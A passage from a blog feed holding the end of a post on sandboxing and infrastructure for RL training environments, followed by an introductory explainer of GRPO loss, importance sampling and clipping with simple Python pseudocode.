  <li>The original SWE-bench Docker setup consumed <strong>684 GiB</strong> before <a href="https://epoch.ai/blog/swebench-docker">optimization efforts</a> brought it down to ~67 GiB</li>
  <li>Building these images from scratch can take hours</li>
</ul>

<p>This is why SWE-bench agents use pre-built Docker images per repository. We can’t afford to <code class="language-plaintext highlighter-rouge">pip install</code> Django’s entire dependency tree every time our agent wants to attempt a fix. The environments must be ready to go, with the exact commit checked out and dependencies pre-installed.</p>

<p>This complexity makes robust sandboxing essential: we need isolation that can be spun up reliably, thousands of times, without breaking the training run.</p>

<h1 id="sandboxing">Sandboxing</h1>

<p>Running model-generated code during RL training is an operational challenge that might break a multi-week training run. Without proper isolation, a single malicious or buggy code snippet can compromise the entire training run.</p>

<h2 id="why-sandboxing-matters">Why Sandboxing Matters</h2>

<p>Running model-generated code on the training cluster is a terrible idea because:</p>

<ol>
  <li><strong>Segfaults and crashes</strong>: One segfault or infinite loop shouldn’t kill a 20-day training run.</li>
  <li><strong>Resource exhaustion</strong>: Memory bombs, fork bombs and disk filling attacks are trivial to generate and can easily overwhelm the training cluster.</li>
  <li><strong>Security breaches</strong>: The model might curl the internal APIs, read environment variables with API keys, or worse.</li>
</ol>

<p>The risks compound at scale. When we’re running thousands of concurrent rollouts, the probability of hitting an edge case approaches certainty.</p>

<h2 id="scaling-sandboxed-execution">Scaling Sandboxed Execution</h2>

<p>For efficient RL training, we need to run thousands of environment instances in parallel. For instance, <a href="https://arxiv.org/abs/2512.16144">Prime Intellect reports running 4,000 concurrent sandboxes during their RL training</a>.</p>

<p>This creates a trade-off between isolation strength and startup latency:</p>

<ul>
  <li><strong>Containers (Docker, Podman)</strong>: Fast startup (often ~10–100ms when warm), decent isolation, but they share the host kernel. A kernel exploit could escape the sandbox.</li>
  <li><strong>MicroVMs (Firecracker)</strong>: VM-grade isolation with near-container ergonomics; used by AWS Lambda, with boot times often cited on the order of ~100ms in optimized setups. <a href="https://e2b.dev/">E2B</a> builds on Firecracker to offer sandboxed code execution as a service.</li>
</ul>

<p class="notice--info">You may also see <strong>gVisor</strong> mentioned in this space. It’s not a microVM but a <strong>container sandbox</strong> that intercepts syscalls to reduce the host kernel attack surface.</p>

<ul>
  <li><strong>Full VMs</strong>: Strongest isolation, but slower startup and higher resource overhead—often too costly at ~4,000 concurrent instances.</li>
</ul>

<p>Most production RL systems end up with <strong>hardened containers</strong>, and reach for <strong>microVMs</strong> when they need stronger guarantees. In practice, you usually want the <em>lightest isolation that still keeps you safe</em>—simple arithmetic doesn’t need a VM, but arbitrary shell commands often do.</p>

<h2 id="practical-recommendations">Practical Recommendations</h2>

<p>For prototyping and small-scale experiments:</p>

<ul>
  <li>Use <strong>E2B</strong> or <strong>Modal</strong> — the managed overhead is worth it</li>
  <li>Focus on your environment logic, not infrastructure</li>
</ul>

<p>For production RL training:</p>

<ul>
  <li>If you need maximum control: build on <strong>Kubernetes + gVisor</strong> with custom orchestration</li>
  <li>If you need speed to production: <strong>E2B (self-hosted)</strong> or <strong>Modal</strong> with reserved capacity</li>
  <li>Budget ~20–30% of engineering time for sandbox infrastructure if you’re building custom</li>
</ul>

<h2 id="beyond-python-the-multi-language-reality">Beyond Python: The Multi-Language Reality</h2>

<p>The sandboxing challenge compounds when we move beyond Python. Real-world tool use spans a much wider landscape, and each domain brings its own isolation requirements:</p>

<ul>
  <li><strong>Different programming languages</strong>: Python, JavaScript, Rust, Go, C++—each with its own runtime, package manager, and execution semantics. Training on Rust compilation errors or JavaScript async patterns requires those actual environments, not simulations.</li>
  <li><strong>Database environments</strong>: SQL queries against real engines (Postgres, MySQL, SQLite). Learning query optimization requires actual query planners—mocks won’t teach your model about index selection.</li>
  <li><strong>CLI environments</strong>: Shell commands, file system operations, piping, environment variables. These need particularly careful sandboxing given shell’s power to modify the system.</li>
  <li><strong>SWE environments</strong>: Full development setups with git, package managers, build tools, linters, test runners. <a href="https://arxiv.org/abs/2405.15793">SWE-agent</a> and <a href="https://arxiv.org/abs/2407.16741">OpenHands</a> demonstrate the infrastructure complexity here.</li>
  <li><strong>Computer use</strong>: GUI interactions, browser automation, screenshot-based feedback loops—requiring display servers and rendering infrastructure.</li>
</ul>

<p>Each domain requires different isolation strategies, resource limits, and verification approaches. There’s no single solution that covers the full landscape, which is why building robust RL environments remains an active area of infrastructure investment.</p>

<h1 id="conclusion">Conclusion</h1>

<p>We are shifting from curating static datasets to engineering dynamic environments. This turns data preparation into a systems problem: you need sandboxes that don’t leak, verifiers that don’t hallucinate, and curricula that adapt to the model’s progress.</p>

<p>The model will optimize whatever signal you give it. If the environment allows reward hacking, the model will hack it. If the sandbox is slow, training stalls. The difficulty lies in constructing a feedback loop that is both tight enough to provide signal and robust enough to scale. The algorithm matters less than the integrity of the environment it runs in.</p>

<!-- The environment is where your model learns. Invest in getting it right. -->

<!-- Related research in this area:

- **Self-Training for Tool Use** ([Luo et al., 2024](https://arxiv.org/abs/2401.12999)): Shows that LLMs can learn to use tools without human demonstrations by generating their own training data through exploration-the model generates tool-use traces and learns from successful executions.

- **Self-Play SWE-RL** ([Wei et al., 2025](https://arxiv.org/pdf/2512.18552)): Toward Training Superintelligent Software Agents through Self-Play SWE-RL. -->

<h1 id="references">References</h1>

<ul>
  <li><a href="https://arxiv.org/abs/2501.12948">DeepSeek-R1: Incentivizing Reasoning Capability in LLMs via Reinforcement Learning</a> - DeepSeek-AI, 2025</li>
  <li><a href="https://arxiv.org/abs/2512.16144">INTELLECT-3: Distributed Reinforcement Learning with Synthetic Data for AGI</a> - Prime Intellect Team, 2025</li>
  <li><a href="https://arxiv.org/abs/2504.05520">AdaRFT: Efficient Reinforcement Finetuning via Adaptive Curriculum Learning</a> - Shi et al., 2025</li>
  <li><a href="https://arxiv.org/abs/2511.09478">AdaCuRL: Adaptive Curriculum Reinforcement Learning</a> - Li et al., 2025
<!-- - [CAPO: Curriculum Advantage Policy Optimization](https://arxiv.org/abs/2512.02580) - Yang et al., 2025 --></li>
  <li><a href="https://arxiv.org/abs/2506.05316v1">DOTS: Learning to Reason Dynamically in LLMs via Optimal Reasoning Trajectories Search</a> - Yifan et al., 2025</li>
  <li><a href="https://arxiv.org/abs/2503.10460">Light-R1: Curriculum SFT, DPO and RL for Long COT</a> - Wen et al., 2025</li>
  <li><a href="https://pretty-radio-b75.notion.site/DeepScaleR-Surpassing-O1-Preview-with-a-1-5B-Model-by-Scaling-RL-19681902c1468005bed8ca303013a4e2">DeepScaleR: Surpassing O1-Preview with a 1.5B Model by Scaling RL</a> - Luo et al., 2025</li>
  <li><a href="https://arxiv.org/abs/2503.17287">SimpleRL-Zoo: Investigating and Taming Zero Reinforcement Learning for Open Base Models</a> - Song et al., 2025</li>
  <li><a href="https://arxiv.org/abs/2511.07317">RLVE: Scaling Up Reinforcement Learning for Language Models with Adaptive Verifiable Environments</a> - Zeng et al., 2025</li>
  <li><a href="https://arxiv.org/abs/2511.19399">DR Tulu: Reinforcement Learning with Evolving Rubrics for Deep Research</a> - Shao et al., 2025</li>
  <li><a href="https://arxiv.org/abs/2509.14436">CURE: Code Understanding and Repair through Co-Evolving Models</a> - Yin jie et al., 2025</li>
  <li><a href="https://github.com/evalplus/evalplus">EvalPlus: Rigorous Evaluation of LLM-Synthesized Code</a> - Liu et al., 2023</li>
  <li><a href="https://arxiv.org/abs/2207.01780">CodeRL: Mastering Code Generation through Pretrained Models and Deep RL</a> - Le et al., 2022</li>
  <li><a href="https://arxiv.org/abs/2307.16789">ToolLLM: Facilitating Large Language Models to Master 16000+ Real-world APIs</a> - Qin et al., 2023</li>
  <li><a href="https://arxiv.org/abs/2406.18518">APIGen: Automated Pipeline for Generating Verifiable Function Calling Datasets</a> - Liu et al., 2024</li>
  <li><a href="https://arxiv.org/abs/2411.13547">SpecTool: A Benchmark for Characterizing Errors in Tool-Use LLMs</a> - Kokane et al., 2024</li>
  <li><a href="https://gorilla.cs.berkeley.edu/blogs/8_berkeley_function_calling_leaderboard.html">Berkeley Function Calling Leaderboard (BFCL)</a> - Gorilla Team, 2024</li>
  <li><a href="https://aclanthology.org/2025.findings-acl.273/">MirrorAPI: Imitating APIs via Fine-Tuned LLMs</a> - Guo et al., 2025</li>
  <li><a href="https://aclanthology.org/2025.findings-acl.273/">StableToolBench: A Stable Large-Scale Benchmark for Tool Learning</a> - Guo et al., 2025</li>
  <li><a href="https://arxiv.org/abs/2407.16741">OpenHands: An Open Platform for AI Software Developers as Generalist Agents</a> - Wang et al., 2024</li>
  <li><a href="https://arxiv.org/abs/2405.15793">SWE-agent: Agent-Computer Interfaces Enable Automated Software Engineering</a> - Yang et al., 2024</li>
  <li><a href="https://openai.com/index/faulty-reward-functions/">Faulty Reward Functions in the Wild</a> - OpenAI, 2016</li>
  <li><a href="https://metr.org/blog/2025-06-05-recent-reward-hacking/">Recent Reward Hacking Research</a> - METR, 2025</li>
  <li><a href="https://evaluations.metr.org/openai-o3-report/">OpenAI o3 Evaluation Report</a> - METR, 2025</li>
  <li><a href="https://github.com/METR/RE-Bench">RE-Bench: Evaluating Frontier AI R&amp;D Capabilities</a> - METR, 2025</li>
  <li><a href="https://techcrunch.com/2025/02/21/sakana-walks-back-claims-that-its-ai-can-dramatically-speed-up-model-training/">Sakana AI Walks Back Claims About AI Speeding Up Model Training</a> - TechCrunch, 2025</li>
  <li><a href="https://arxiv.org/abs/2401.12999">Self-Training Large Language Models for Tool Use</a> - Luo et al., 2024</li>
  <li><a href="https://www.dbreunig.com/2025/07/30/how-kimi-was-post-trained-for-tool-use.html">How Kimi K2 Became One of the Best Tool-Using Models</a> - Breunig, 2025</li>
  <li><a href="https://epoch.ai/gradient-updates/why-benchmarking-is-hard">Why Benchmarking is Hard: Scaffold Effects on SWE-bench</a> - Epoch AI, 2025</li>
  <li><a href="https://epoch.ai/blog/swebench-docker">SWE-bench Docker Optimization</a> - Epoch AI, 2025</li>
  <li><a href="https://www.dbreunig.com/2025/06/22/how-contexts-fail-and-how-to-fix-them.html">How Contexts Fail and How to Fix Them</a> - Breunig, 2025</li>
  <li><a href="https://github.com/PrimeIntellect-ai/verifiers">verifiers: A Library for Multi-Turn RL Training</a> - Prime Intellect, 2025</li>
</ul>

<p>Feel free to reach out on <a href="https://twitter.com/gitlostmurali">Twitter</a>, <a href="https://www.linkedin.com/in/murali-manohar/">Linkedin</a>, <a href="https://github.com/gitlostmurali">GitHub</a>, or <a href="mailto:kmanoharmurali@gmail.com">Mail</a>.</p>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="machine-learning" /><category term="data-science" /><category term="Machine Learning" /><category term="Language Models" /><category term="Reinforcement Learning" /><category term="RL" /><category term="Sandbox" /><category term="Environments" /><category term="Agents" /><category term="GRPO" /><category term="Training" /><category term="AI" /><summary type="html"><![CDATA[Everything that happens in an RL environment between the policy update and the next rollout - verification, reward shaping, tool calling, curriculum design, and the infrastructure that holds it together]]></summary></entry><entry><title type="html">Lightweight Guide to understanding GRPO and RL principles</title><link href="https://gitlostmurali.com/blog/grpo-intro/" rel="alternate" type="text/html" title="Lightweight Guide to understanding GRPO and RL principles" /><published>2025-09-13T00:00:00+00:00</published><updated>2025-09-13T00:00:00+00:00</updated><id>https://gitlostmurali.com/blog/grpo-intro</id><content type="html" xml:base="https://gitlostmurali.com/blog/grpo-intro/"><![CDATA[<h2 id="background--motivation">Background &amp; Motivation</h2>

<p>This is a mini blog about understanding the GRPO (Group Relative Policy Optimization) training workflow. This is a missing piece I wanted to read before implementing my own workflow.</p>

<p>Most content creators assume the reader to be aware of GRPO’s predecessors like DPO/PPO and then talk about GRPO, which obviously shoos away the people with no prior RL knowledge. If you haven’t touched RL/Reinforcement Learning before, you are at the right place.</p>

<hr />

<h2 id="what-is-grpo">What is GRPO?</h2>

<p>GRPO works on the FAFO principle - Fool Around and Find Out. Here’s a brief overview of how it works: it generates multiple responses to the same prompt, calculates advantages for each response, and then teaches the model to favor responses with higher advantages and push back responses with lesser advantages.</p>

<figure>
    <a href="https://gitlostmurali.com//assets/images/grpo-intro/grpo-overview-horizontal.png"><img src="https://gitlostmurali.com//assets/images/grpo-intro/grpo-overview-horizontal.png" /></a>
    <figcaption><b>Figure 1:</b> <i>GRPO Training Workflow Overview</i></figcaption>
</figure>

<h3 id="why-advantages">Why Advantages?</h3>

<p>Although reward is already signalling if a specific response is better, you want to know how better is the current response compared to other responses for the same query. This is where advantages come in. Advantage is calculated by normalizing the rewards with mean and standard deviation.</p>

<p>The core GRPO objective function is:</p>

<figure>
    <a href="https://gitlostmurali.com//assets/images/grpo-intro/grpo_full.png"><img src="https://gitlostmurali.com//assets/images/grpo-intro/grpo_full.png" /></a>
    <figcaption><b>Figure 2:</b> <i>GRPO Objective Function</i></figcaption>
</figure>

<!-- Where:
- $G$ is the number of groups
- $o_i$ represents the $i$-th output sequence in a group
- $q$ is the input query/prompt
- $\pi_\theta$ is the current policy being optimized
- $\pi_{\theta_{old}}$ is the policy from the previous iteration
- $\hat{A}_{i,t}$ is the advantage estimate at token $t$ for sequence $i$
- $\varepsilon$ is the clipping parameter (typically 0.2)
- $\beta$ is the KL divergence coefficient
- $\pi_{ref}$ is the reference policy
- $D_{KL}$ is the KL divergence -->

<p>Alright, it’s big and scary. Let’s focus on the atomic unit from above i.e</p>

\[\mathcal{L}_{GRPO} = \frac{1}{G} \sum_{i=1}^{G} \frac{1}{|o_i|} \sum_{t=1}^{|o_i|} \pi_\theta(o_{i,t}|q, o_{i,&lt;t}) \hat{A}_{i,t}\]

<h3 id="now-lets-convert-this-to-code">Now, let’s convert this to code.</h3>

<!-- <figure>
    <a href="https://gitlostmurali.com//assets/images/grpo-intro/loss_overview_code.png"><img src="https://gitlostmurali.com//assets/images/grpo-intro/loss_overview_code.png"></a>
    <figcaption><b>Figure 3:</b> <i>Code Implementation of GRPO Loss Calculation</i></figcaption>
</figure> -->

<p>Basically, we are looping over all generated answers $i = 1$ to $G$. And within each answer, we are looping over all tokens $t = 1$ to $\lvert o_i \rvert$, where $\lvert o_i \rvert$ is the number of tokens in the $i$-th generated answer. So, it’s a two-nested for-loop over $i$ and $t$ against $\pi_\theta$.</p>

<p>And the $\pi_\theta$ in the equation simply refers to the log probabilities of the token \(o_{i,t}\) given the query $q$ and the previous tokens $o_{i,&lt;t}$.</p>

<p>Here’s the code equivalent of the above equation:
<!-- to $$|o\_i|$$ --></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">each_generated_answer_i</span> <span class="ow">in</span> <span class="n">generated_answers</span><span class="p">:</span> <span class="c1"># G in the equation
</span>    <span class="n">advantage</span> <span class="o">=</span> <span class="n">calculate_advantage</span><span class="p">(</span><span class="n">each_generated_answer_i</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">each_token_o_t</span> <span class="ow">in</span> <span class="n">each_generated_answer_i</span><span class="p">:</span> <span class="c1"># |o_i| in the equation
</span>        <span class="n">token_loss</span> <span class="o">=</span> <span class="n">pi_theta</span><span class="p">(</span><span class="n">each_token_o_t</span><span class="p">)</span> <span class="o">*</span> <span class="n">advantage</span>

    <span class="n">loss_of_each_answer</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">tokens_loss_in_answer_i</span><span class="p">)</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">each_generated_answer_i</span><span class="p">)</span>

<span class="n">final_loss</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">loss_of_all_answers</span><span class="p">)</span> <span class="o">/</span> <span class="nb">len</span> <span class="p">(</span><span class="n">generated_answers</span><span class="p">)</span> <span class="c1"># G in the equation
</span></code></pre></div></div>

<!-- ```python
for each_generated_answer_G in generated_answers: # G in the equation
    for each_token_o_i in each_generated_answer: # |o_i| in the equation
        loss = pi_theta(each_token_o_i) * advantage

    loss_of_each_answer = sum(losses_of_all_tokens_in_an_answer) / len(each_generated_answer)

final_loss = sum(loss_of_each_answer) / len(generated_answers)
``` -->

<p>From the figure 3 below (same as figure 2), we can see that the advantage is calculated at sequence level or answer level. So, for each token, the loss is calculated as the product of the log probability of the token $o_{i,t}$ and the advantage ($\hat{A}_{i,t}$):</p>

\[token\_loss = \pi_\theta(o_{i,t}|q, o_{i,&lt;t}) \times \hat{A}_{i,t}\]

<figure>
    <a href="https://gitlostmurali.com//assets/images/grpo-intro/grpo-overview-horizontal.png"><img src="https://gitlostmurali.com//assets/images/grpo-intro/grpo-overview-horizontal.png" /></a>
    <figcaption><b>Figure 3:</b> <i>GRPO Workflow Overview</i></figcaption>
</figure>

<p>Easy! We just implemented the atomic unit of GRPO loss calculation, which is just a two-nested for loop over the token losses of each answer.</p>

\[\mathcal{L}_{GRPO} = \frac{1}{G} \sum_{i=1}^{G} \frac{1}{|o_i|} \sum_{t=1}^{|o_i|} token\_loss\]

<p>where <code class="language-plaintext highlighter-rouge">token_loss</code> is the loss of each token in the answer i.e</p>

\[token\_loss = \pi_\theta(o_{i,t}|q, o_{i,&lt;t}) \times \hat{A}_{i,t}\]

<h2 id="the-hidden-challenge-training-on-stale-data">The Hidden Challenge: Training on Stale Data</h2>

<p>So far, we’ve looked at the basic GRPO loss calculation. But here’s what actually happens during GRPO training that creates an interesting challenge:</p>

<ol>
  <li>Generate a batch of answers using your current model (let’s say 4 answers per prompt)</li>
  <li>Calculate advantages for these answers (which one is better/worse)</li>
  <li>Train on this SAME batch for multiple gradient steps (e.g., 10 steps)</li>
</ol>

<p>This is problematic because we generate answers ONCE, but train on them MULTIPLE times. This is great for efficiency, but it creates a subtle problem.</p>

<h2 id="why-this-is-a-problem">Why This Is a Problem?</h2>

<p>Think about it: By gradient step 10, your model has changed from all the training. But we’re still using answers that were generated by the model from step 1!</p>

<p>It’s like practicing basketball shots based on a video of yourself from last week. You’ve improved since then, so the video doesn’t represent your current form anymore. This mismatch is called distribution shift or off-policy training.</p>

<p>Here’s what goes wrong if we ignore this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Generate answers with initial model
</span><span class="n">answers</span> <span class="o">=</span> <span class="n">model</span><span class="p">.</span><span class="n">generate</span><span class="p">(</span><span class="n">prompt</span><span class="p">)</span>  <span class="c1"># Model at step 0
</span><span class="n">advantages</span> <span class="o">=</span> <span class="n">calculate_advantages</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>

<span class="c1"># Train for multiple steps on the SAME answers
</span><span class="k">for</span> <span class="n">step</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
    <span class="n">log_probs</span> <span class="o">=</span> <span class="n">model</span><span class="p">.</span><span class="n">get_log_probs</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>  <span class="c1"># Model at step 1, 2, ... 10
</span>    <span class="n">loss</span> <span class="o">=</span> <span class="n">log_probs</span> <span class="o">*</span> <span class="n">advantages</span>
    <span class="n">model</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">loss</span><span class="p">)</span>
    <span class="c1"># By step 10, we're calculating gradients as if the current model
</span>    <span class="c1"># generated these answers, but it didn't! The step-0 model did!
</span></code></pre></div></div>

<p>This leads to increasingly biased gradients and unstable training. Your model might even “unlearn” good behaviors because it’s confused about where the data came from or why are the gradient updates not working as expected as answers remain constant from step 1 to step 10.</p>

<h2 id="the-solution-importance-sampling">The Solution: Importance Sampling</h2>

<p>This is where $\pi_{\theta_{old}}$ comes to the rescue. We keep track of the log probabilities from the model that ACTUALLY generated the answers (the “old” model), and use them to correct our loss calculation:</p>

\[token\_loss = \frac{\pi_\theta(o_{i,t}|q, o_{i,&lt;t})}{\pi_{\theta_{old}}(o_{i,t}|q, o_{i,&lt;t})} \times \hat{A}_{i,t}\]

<p>This ratio $\frac{\pi_\theta}{\pi_{\theta_{old}}}$ is called the <strong>importance sampling ratio</strong>. It tells us:</p>

<ul>
  <li>Ratio &gt; 1: Current model likes this token MORE than the old model did → amplify the gradient</li>
  <li>Ratio &lt; 1: Current model likes this token LESS than the old model did → reduce the gradient</li>
  <li>Ratio = 1: Both models agree → gradient stays the same</li>
</ul>

<p>In code:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Generate answers ONCE with initial model
</span><span class="n">answers</span> <span class="o">=</span> <span class="n">old_model</span><span class="p">.</span><span class="n">generate</span><span class="p">(</span><span class="n">prompt</span><span class="p">)</span>
<span class="n">old_log_probs</span> <span class="o">=</span> <span class="n">old_model</span><span class="p">.</span><span class="n">get_log_probs</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>  <span class="c1"># Store these!
</span><span class="n">advantages</span> <span class="o">=</span> <span class="n">calculate_advantages</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>

<span class="c1"># Now we can safely train for multiple steps
</span><span class="k">for</span> <span class="n">step</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
    <span class="n">current_log_probs</span> <span class="o">=</span> <span class="n">model</span><span class="p">.</span><span class="n">get_log_probs</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>
    
    <span class="c1"># The magic correction factor
</span>    <span class="n">importance_ratio</span> <span class="o">=</span> <span class="n">exp</span><span class="p">(</span><span class="n">current_log_probs</span> <span class="o">-</span> <span class="n">old_log_probs</span><span class="p">)</span>
    
    <span class="c1"># Corrected loss that accounts for distribution shift
</span>    <span class="n">loss</span> <span class="o">=</span> <span class="n">importance_ratio</span> <span class="o">*</span> <span class="n">advantages</span>
    <span class="n">model</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">loss</span><span class="p">)</span>
</code></pre></div></div>

<p>This correction ensures our gradients remain mathematically valid even though we’re training on “stale” data. It’s like adjusting your basketball practice to account for how much you’ve improved since the video was taken.</p>

<h2 id="adding-safety-rails-the-clipping-mechanism">Adding Safety Rails: The Clipping Mechanism</h2>

<p>But what if this importance ratio becomes extreme? Imagine the current model REALLY disagrees with the old model (ratio = 100 or 0.01). This could cause training to explode or collapse.</p>

<p>GRPO adds a safety mechanism: clip the ratio to stay within reasonable bounds:</p>

\[ratio_{clipped} = \text{clip}(ratio, 1-\varepsilon, 1+\varepsilon)\]

<p>With ε = 0.2 (typical value), the ratio can only vary between 0.8 and 1.2. This prevents any single update from being too aggressive, even if the models strongly disagree.</p>

<p>The full GRPO objective with clipping becomes:</p>

\[\mathcal{L}_{GRPO} = \frac{1}{G} \sum_{i=1}^{G} \frac{1}{|o_i|} \sum_{t=1}^{|o_i|} \min\left(ratio_{i,t} \times \hat{A}_{i,t}, \text{clip}(ratio_{i,t}, 1-\varepsilon, 1+\varepsilon) \times \hat{A}_{i,t}\right)\]

<!-- In plain English: "Use the importance-corrected loss, but if the correction factor gets too wild, clip it to keep training stable." -->
<p>The clipping is a conservative approach to prioritize stable training over perfect gradient correction.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># With clipping for safety
</span><span class="n">importance_ratio</span> <span class="o">=</span> <span class="n">exp</span><span class="p">(</span><span class="n">current_log_probs</span> <span class="o">-</span> <span class="n">old_log_probs</span><span class="p">)</span>
<span class="n">clipped_ratio</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">clip</span><span class="p">(</span><span class="n">importance_ratio</span><span class="p">,</span> <span class="mf">0.8</span><span class="p">,</span> <span class="mf">1.2</span><span class="p">)</span>  <span class="c1"># ε = 0.2
</span>
<span class="c1"># Take the minimum of clipped and unclipped objectives
</span><span class="n">loss_unclipped</span> <span class="o">=</span> <span class="n">importance_ratio</span> <span class="o">*</span> <span class="n">advantages</span>
<span class="n">loss_clipped</span> <span class="o">=</span> <span class="n">clipped_ratio</span> <span class="o">*</span> <span class="n">advantages</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="nb">min</span><span class="p">(</span><span class="n">loss_unclipped</span><span class="p">,</span> <span class="n">loss_clipped</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="why-not-just-generate-new-data-every-step">Why Not Just Generate New Data Every Step?</h2>

<p>You might wonder: why go through all this complexity with importance sampling and clipping? Why not just generate fresh answers for every gradient step?</p>

<p>This touches on a fundamental concept in reinforcement learning: <strong>on-policy vs off-policy training</strong>. Let’s understand what they mean.</p>

<h3 id="on-policy-training-the-ideal-approach">On-Policy Training (The “Ideal” Approach)</h3>

<p>In on-policy training, you generate new data from your current model for every single gradient update:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">step</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">training_steps</span><span class="p">):</span>
    <span class="c1"># Generate fresh data with current model
</span>    <span class="n">answers</span> <span class="o">=</span> <span class="n">current_model</span><span class="p">.</span><span class="n">generate</span><span class="p">(</span><span class="n">prompt</span><span class="p">)</span>
    <span class="n">advantages</span> <span class="o">=</span> <span class="n">calculate_advantages</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>
    <span class="n">log_probs</span> <span class="o">=</span> <span class="n">current_model</span><span class="p">.</span><span class="n">get_log_probs</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>
    
    <span class="c1"># Simple, clean loss calculation
</span>    <span class="n">loss</span> <span class="o">=</span> <span class="n">log_probs</span> <span class="o">*</span> <span class="n">advantages</span>
    <span class="n">current_model</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">loss</span><span class="p">)</span>
</code></pre></div></div>

<p>This is much simpler and mathematically cleaner - your gradients are always calculated with respect to data that your current model actually produced. No distribution shift, no stale data problems.</p>

<h3 id="off-policy-training-the-economic-approach">Off-Policy Training (The “Economic” Approach)</h3>

<p>This is what we saw earlier. In off-policy training, you reuse data that was generated by an older version of your model:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Generate once with current model
</span><span class="n">answers</span> <span class="o">=</span> <span class="n">current_model</span><span class="p">.</span><span class="n">generate</span><span class="p">(</span><span class="n">prompt</span><span class="p">)</span>
<span class="n">old_log_probs</span> <span class="o">=</span> <span class="n">current_model</span><span class="p">.</span><span class="n">get_log_probs</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>
<span class="n">advantages</span> <span class="o">=</span> <span class="n">calculate_advantages</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>

<span class="k">for</span> <span class="n">step</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>  <span class="c1"># Reuse same data for multiple steps
</span>    <span class="n">new_log_probs</span> <span class="o">=</span> <span class="n">current_model</span><span class="p">.</span><span class="n">get_log_probs</span><span class="p">(</span><span class="n">answers</span><span class="p">)</span>
    
    <span class="c1"># Need importance sampling to correct for staleness
</span>    <span class="n">importance_ratio</span> <span class="o">=</span> <span class="n">exp</span><span class="p">(</span><span class="n">new_log_probs</span> <span class="o">-</span> <span class="n">old_log_probs</span><span class="p">)</span>
    <span class="n">loss</span> <span class="o">=</span> <span class="n">importance_ratio</span> <span class="o">*</span> <span class="n">advantages</span>
    <span class="n">current_model</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">loss</span><span class="p">)</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>-</th>
      <th>On-policy</th>
      <th>Off-policy</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Pros</td>
      <td>• Mathematically cleaner (no correction factors needed)<br />• Always training on “fresh” data from current policy<br />• Gradients are exactly what you’d expect</td>
      <td>• Sample efficient - reuse expensive generations multiple times<br />• Much faster in practice (10x fewer generations needed)<br />• Better compute utilization</td>
    </tr>
    <tr>
      <td>Cons</td>
      <td>• Extremely expensive! Generating LLM responses requires full forward passes with sampling<br />• Wastes compute - you throw away each batch after one gradient step<br />• Slower convergence in wall-clock time</td>
      <td>• Requires complex corrections (importance sampling)<br />• Risk of instability if model changes too much<br />• Gradients become approximations rather than exact</td>
    </tr>
  </tbody>
</table>

<h2 id="interesting-developments-in-the-field">Interesting Developments in the field</h2>

<h3 id="1-kl-divergence-disappears">1. KL Divergence disappears</h3>

<p>Notice that <strong>I didn’t cover the KL divergence term</strong> in the objective function. This is because latest research proved that it is not necessary to use KL divergence in the objective function.</p>

<p>If you look at recent GRPO implementations, you’ll notice something interesting: everyone sets <code class="language-plaintext highlighter-rouge">β = 0</code>, effectively removing the KL divergence term entirely! It turns out the clipping mechanism we discussed already prevents the model from changing too drastically. Citing <a href="https://lancelqf.github.io/note/llm_post_training/">Qingfeng’s blog post</a>, “the clipped objective is designed as a replacement of constraint policy optimization in form of the KL divergence term. Thus, adding a KL divergence term is not necessary theoretically”</p>

<h3 id="2-why-grporl-forgets-less-than-sft">2. Why GRPO/RL Forgets Less than SFT?</h3>

<p>The paper [“RL’s Razor” (Shenfeld et al., 2025)(https://arxiv.org/abs/2509.04259)] show that RL fine-tuning, especially on-policy training, forgets less than SFT, even when both reach the same performance
on new tasks. This is great if you are training on a new task and want to keep the original model’s performance on standard benchmarks.</p>

<h3 id="3-focus-on-the-forking-tokens">3. Focus on the <strong>“forking tokens”</strong></h3>

<p>The paper <a href="https://arxiv.org/pdf/2506.01939">“Beyond the 80/20 Rule” (Wang et al., 2025)</a>  discovered that only ~20% of tokens in reasoning sequences actually matter for learning &amp; thinking exploration. These “forking tokens” at decision points drive nearly all performance gains.</p>

<p>Training on <strong>just these 20% of tokens not only maintains performance but actually improves it</strong>!</p>

<h1 id="conclusion">Conclusion</h1>

